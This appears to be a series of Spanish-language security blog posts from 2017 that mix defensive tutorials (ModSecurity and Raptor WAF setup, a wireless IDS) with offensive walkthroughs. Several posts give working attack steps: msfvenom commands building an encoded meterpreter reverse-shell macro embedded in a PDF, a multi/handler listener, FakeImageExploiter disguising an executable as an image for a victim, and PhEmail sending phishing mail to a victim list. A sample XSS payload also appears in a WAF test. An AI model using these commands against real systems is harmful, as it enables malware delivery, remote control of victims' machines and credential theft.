jueves, 25 de mayo de 2017

PDF DROPPER

 

Descripción:

En la actualidad, el formato PDF (Portable Document Format) de Adobe se utiliza con mucha frecuencia para intercambiar documentos digitales. Sin embargo, existen numerosas vulnerabilidades vinculadas a este formato de archivo. El sitio http://www.securityfocus.com recoge más de 150 CVE (Common Vulnerabilities and Exposures) para Acrobat Reader, el lector de PDF desarrollado por Adobe. Viendo lo extendido que está su uso y las vulnerabilidades que tiene, sin duda el PDF constituye una puerta de entrada a los sistemas. De este modo, los desarrolladores de malwares seleccionan, con frecuencia, este formato para difundir sus programas maliciosos.

Los usuarios empiezan a conocer los riesgos que corren si ejecutan archivos binarios desconocidos en su sistema operativo. Por el contrario, pocos son conscientes de que un documento PDF también puede ejecutar acciones maliciosas sobre sus máquinas. Los archivos en formato multimedia se utilizan, generalmente, sin prestar una especial precaución.

La mayoría de las vulnerabilidades sobre este formato se encuentran en el motor JavaScript presente en Acrobat Reader. En efecto, el formato PDF permite desarrollar código JavaScript incluso en el interior de un archivo para, por ejemplo, manipular automáticamente los formularios. Estas funcionalidades las utilizan algunas administraciones para simplificar la gestión de los formularios y de los informes.

En el caso de un archivo PDF, la primera etapa del análisis consiste en recuperar el código JavaScript sospechoso. La segunda etapa consistirá en comprender este código.

PoC:

Comenzamos por crear nuestra macro maliciosa para MS Word, para ello hacemos uso del payload  windows/meterpreter/reverse_tcp y del encoder shikata_ga_nai con 3 iteraciones:
$ msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 lhost=<IPLOCAL> lport=8080 -f vba-exe> /var/www/html/macro

Lo metí en la carpeta de apache para copiar el macro más rapido

Lo siguiente será abrir un documento en MS Word y añadir el código generado en VBS:

En el macro creado vendrán las instrucciones de como configurarlo todo

Embebemos el archivo Word en el PDF:
python make-pdf-embedded.py -m "Prueba" -a Doc1.docm prueba.pdf

make-pdf-embedded.py es una herramienta gratuita que se puede descargar aqui

Y ponemos a la escucha nuestro multi/handler:
$ msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <IP>; set LPORT 8080; run;"

Al abrir el PDF (Necesaria aprobación por parte del usuario) nos preguntará si queremos abrir el documento, le damos a que sí y una vez lo haya abierto nos preguntará si queremos habilitar las macros, le damos a que sí.

 Aprobación por parte del usuario

Una vez habilitadas las macros del archivo Word nos abrirá una sesión meterpreter:


Para estar más seguros en el mundo os recomiendo este lector de pdf ya que no ejecuta código JS y además es muy liviano.

jueves, 18 de mayo de 2017

RAPTOR WAF (Web Application Firewall)


Descripción:

Raptor WAF es un firewall de aplicaciones web desarrollado en C, cuyo cometido es bloquear los ataques de SQLi, XSS y Path Traversal.

PoC:

Requisitos:
$ sudo apt-get install make

Clonamos el repositorio de Github, compilamos el programa y lo ejecutamos:

$ git clone https://github.com/CoolerVoid/raptor_waf
$ cd raptor_waf
$ make
$ bin/raptor
*Es importante que ejecutemos la herramienta desde la raíz (bin/raptor) ya que sino tendremos problemillas.

Un ejemplo de uso sería:

$ bin/Raptor -h 127.0.0.1 -p 80 -r 8080 -w 4 -o log.txt

* -h Para el host, -p para el puerto, -r para la redirección del puerto, -w para el nivel de protección, -o para la salida del log.

Para la PoC he usado DVWA
PoC XSS:


<script>alert("XSS")</script>


Como podéis ver en la siguiente captura se come el SQL injection (Me gustaría que probarais la herramienta y dejaseis en comentarios vuestros tests):


martes, 16 de mayo de 2017

COMO PROTEGERSE DE ATAQUES WEB con modsecurity WAF

 

Descripción:

"ModSecurity es una herramienta que te ayudará a dormir mejor por la noche, y voy a explicar cómo. Normalmente llamo a ModSecurity un firewall de aplicaciones web (WAF), porque eso es lo general. Otras veces herramienta de detección de intrusiones HTTP, porque creo que describe mejor lo que hace ModSecurity. Ninguno de los dos nombres es totalmente adecuado, el caso es que las aplicaciones web, la tuya, la mía, la de todos son terriblemente inseguras en promedio. Hay que luchar para mantenerse al día con los problemas de seguridad y necesitamos cualquier ayuda que podamos obtener para protegernos." 
Extracto del libro: https://www.amazon.com/ModSecurity-Handbook-Complete-Application-Firewall/dp/1907117024

Tutorial:

Empezamos instalando modsecurity, lo haremos con el simple comando:
# apt-get install libapache2-modsecurity

Compronamos que está instalado correctamente:
# apachectl -M | grep --color security


Configuración:

El archivo de configuración predeterminado se establece en DetectionOnly que registra las solicitudes de acuerdo con las coincidencias de reglas y no bloquea nada, asíque vamos a editarlo:
  
$ nano /etc/modsecurity/modsecurity.conf
*También puede ser /etc/modsecuritymodsecurity.conf-recommended así que renombrarlo:
$ mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

Buscamos la lína "SecRuleEngine DetectionOnly" y la cambiamos por:
SecRuleEngine On


Otra directiva a modificar es "SecResponseBodyAccess". Esto configura si los cuerpos de respuesta están almacenados en búfer (es decir, leídos por modsecurity). Esto sólo es necesario si se requiere detección y protección de fugas de datos. Por lo tanto, dejarlo activado utilizará los recursos de droplet y también aumentará el tamaño del archivo de registro.

Buscamos la línea "SecResponseBodyAccess On" y la cambiamos por:
SecResponseBodyAccess Off



Ahora limitaremos los datos máximos que se pueden publicar en la aplicación web. Dos directivas las configuran:

SecRequestBody
LimitSecRequestBody
NoFilesLimit 

La directiva SecRequestBodyLimit especifica el tamaño máximo de datos POST. Si algo más grande es enviado por un cliente, el servidor responderá con un error 413 Request Entity Too Large. Si tu aplicación web no tiene ninguna subida de archivos, este valor puede reducirse considerablemente. El valor mencionado en el archivo de configuración es:

SecRequestBodyLimit 13107200
Que es 12.5MB. 

Similar a esto es la directiva SecRequestBodyNoFilesLimit. La única diferencia es que esta directiva limita el tamaño de los datos POST menos subidas de archivos. Este valor debe ser "tan bajo como sea práctico". El valor en el archivo de configuración es:

SecRequestBodyNoFilesLimit 131072
Que es 128KB.

A lo largo de las líneas de estas directivas es otro que afecta el rendimiento del servidor: SecRequestBodyInMemoryLimit. Esta directiva es bastante evidente por sí misma; Especifica cuánto de los datos del "cuerpo de la petición" (datos POSTed) debe mantenerse en la memoria (RAM), cualquier cosa más se colocará en el disco duro (al igual que el intercambio). Se puede establecer un valor decente si tienes memoria RAM de sobra. 

SecRequestBodyInMemoryLimit 131072
Este es el valor (128KB) especificado en el archivo de configuración.  


Reglas:

Para hacer la vida más fácil, hay un montón de reglas que ya están instaladas junto con mod_security. Estos se llaman CRS (Core Rule Set) y se encuentran en:  /usr/share/modsecurity-crs/

La documentación está disponible en: /usr/share/doc/modsecurity-crs/ 

Para cargar estas reglas, necesitamos decirle a Apache que examine estos directorios.

$ sudo nano /etc/apache2/mods-enabled/modsecurity.conf
*El archivo estará vacío

Agrega las siguientes directivas dentro de <IfModule security2_module> </ IfModule>:
Include "/usr/share/modsecurity-crs/*.conf"
Include "/usr/share/modsecurity-crs/activated_rules/*.conf"


 

El directorio activated_rules es similar al directorio habilitado para mods de Apache. Las reglas están disponibles en directorios:
/usr/share/modsecurity-crs/base_rules
/usr/share/modsecurity-crs/optional_rules
/usr/share/modsecurity-crs/experimental_rules


Los enlaces simbólicos deben crearse dentro del directorio activated_rules para activarlos. Activemos las reglas de inyección de SQL:

$ cd /usr/share/modsecurity-crs/activated_rules/
$ sudo ln -s /usr/share/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf . 
 
 
 
 

$ sudo service apache2 reload
$ sudo service apache2 restart

Podremos encontrar los logs en: /var/log/apache2/modsec_audit.log

PoC:

Una vez instalado todo vamos a probar un ataque de inyección SQL.
Nos vamos al log y lo abrimos con tailf, una vez hecho esto nos dirigimos a DVWA (admin:password), vamos al apartado SQL Injection, escribimos una ' y vemos como nos dará prohibido el acceso y nos saldrá un mensaje en el log.



Este artículo ha sido "una primera toma de contacto con modsecurity", ya que ofrece muchas posiblidades y aquí solo se ha visto un ejemplo básico, si quieres profundizar más sobre este campo te recomiendo leer el libro que puse al principio de la entrada.

jueves, 11 de mayo de 2017

EMAIL SPOOFING #2 con phemail

 

Descripción:

En los últimos años las redes se han vuelto más seguras mediante el endurecimiento de servidores y el despliegue de dispositivos de seguridad como firewalls y sistemas de prevención de intrusiones. Esto ha hecho más difícil para los ciberdelincuentes el lanzamiento exitoso de ataques directos desde fuera del perímetro de la red. Como resultado, los ciberdelincuentes recurren cada vez más a ataques indirectos a través de la ingeniería social y los correos electrónicos de phishing.

PhEmail es una herramienta de codigo abierto escrita en python que automatiza el proceso de envío de correos electrónicos de phishing como parte de una prueba de ingeniería social. 
El objetivo principal de PhEmail es enviar un montón de correos electrónicos de phishing y demostrar quién hizo clic en ellos sin intentar explotar el navegador web o cliente de correo electrónico, sino recopilar la mayor cantidad de información posible. PhEmail viene con un motor para garther direcciones de correo electrónico a través de LinkedIN, útil durante la fase de recopilación de información. Además, esta herramienta admite la autenticación de Gmail, que es una opción válida en caso de que el dominio de destino tenga en la lista negra el correo electrónico de origen o la dirección IP. Por último, esta herramienta se puede utilizar para clonar los portales de inicio de sesión corporativos con el fin de robar las credenciales de inicio de sesión.
El uso de PhMail para atacar objetivos sin consentimiento mutuo previo es ilegal.
Es responsabilidad del usuario final obedecer todas las leyes locales, estatales y federales aplicables.
Los desarrolladores no asumen responsabilidad y NO son responsables de ningún uso indebido o daño causado por este programa.

PoC:

Clonamos el repositorio, entramos en la carpeta y creamos un archivo llamado emails.txt en el cual añadiremos los correos de las víctimas, el siguiente paso será ejecutar la herramienta, así es, no tenemos que configurar nada.

$ python phemail.py -e emails.txt -f "Name Surname <name_surname@example.com>" -r "Name Surname <name_surname@example.com>"

 Nos llegará al buzón de SPAN ya que el mensaje no va cifrado.

Toda la documentación está en la página del proyecto podéis ir a visitarla: https://github.com/Dionach/PhEmail
En este blog hay otra entrada de email spoofing por si te interesa verla: https://elcandadoinformatico.blogspot.com.es/2016/08/email-spoofing.html
 

lunes, 8 de mayo de 2017

COMO DETECTAR INTRUSOS EN TU RED con wireless-ids

Descripción:

Wireless IDS es una herramienta de código abierto escrita en Python y que trabaja en entorno Linux. Esta herramienta snifeará el tráfico de tu red buscando actividades sospechosas. La herramienta puede hacer lo siguiente:

- Detectar la desautenticación masiva enviada al cliente/punto de acceso que indica un posible ataque para obtener el handshake.
- Envío continuo de datos al punto de acceso utilizando la dirección MAC de difusión que indican la posibilidad de ataques WEP.
- Cantidad irrazonable de comunicación entre el cliente inalámbrico y el punto de acceso mediante la autenticación EAP que indican la posibilidad de un ataque WPS bruteforce de Reaver/WPSCrack
- Detección de cambios en la conexión del punto de acceso que puede tener la posibilidad de conexión a Rogue A

- ...

Más información en el proyecto de github: https://github.com/SYWorks/wireless-ids   

PoC:

$ sudo apt-get install Aircrack-NG && tshark (En caso de estar en Kali Linux no haría falta)
$ git clone https://github.com/SYWorks/wireless-ids
$ cd wireless-ids
$ sudo python wids.py -i <interfaz>

martes, 2 de mayo de 2017

EMBEBER BACKDOOR EN IMAGEN con FakeImageExploiter

 

Descripción:

Este módulo toma una imagen existente.jpg y un payload.ps1 y crea un nuevo payload (agent.jpg.exe) que si se ejecuta activará la descarga de los 2 archivos anteriores almacenados en apache2 (image.jpg + payload.ps1) y se ejecutarán.

Este módulo también cambia el icono agent.exe para que coincida con un archivo.jpg y añade la terminación .exe después del .jpg quedando: agent.jpg.exe (Para que windows solo vea .jpg, bien sabemos que esto es un poco inútil..)

Todos los payloads se descargarán desde nuestro servidor web apache2 y se ejecutarán en la RAM de destino. La única extensión que requiere escribir el payload en el disco son binarios .exe.


Puedes ver más acerca de este proyecto en el enlace de github: https://github.com/r00t-3xp10it/FakeImageExploiter

PoC:

$ git clone https://github.com/r00t-3xp10it/FakeImageExploiter
$ cd FakeImageExploiter
$ nano settings.txt

Configuramos la extension que tendrá nuestro payload (En mi caso usaré .bat) y la extension de la imagen (En mi caso .png)


También deberemos cambiar los siguientes parámetros:
AUTO_PAYLOAD_BUILD=YES
AGENT_HANLER_PORT=8888


Una vez hecho esto ejecutamos el script (Si es la primera vez nos descargará e instalará los requisitos):
$ ./FakeImageExploiter.sh

Deberemos seleccionar en Versión a imitar: Windows 7

Y le damos a "YES" para ejecutar el framework



Seleccionamos el payload:



Seleccionamos la imagen:


Seleccionamos el icono:


Ponemos el nombre:


He de decir que aquí tuve un problema: ResourceHacker.exe -> not found!


Para solucionarlo hice lo siguiente:
$ dpkg --add-architecture i386 && apt-get update && apt-get install wine32
$ wine /bin/reshacker_setup.exe
Todo a siguiente.

*El fallo se debe a que estaba usando una arquitectura de 64. Así que lo que hice fué instalarlo manualmente con wine32.

Generará un link el cual deberemos pasar a nuestra víctima y cuando abra la imagen nos abrirá una sesión meterpreter.


Nos vamos al cliente Windows y descargamos el .zip




Por último os dejo un escaneo del archivo: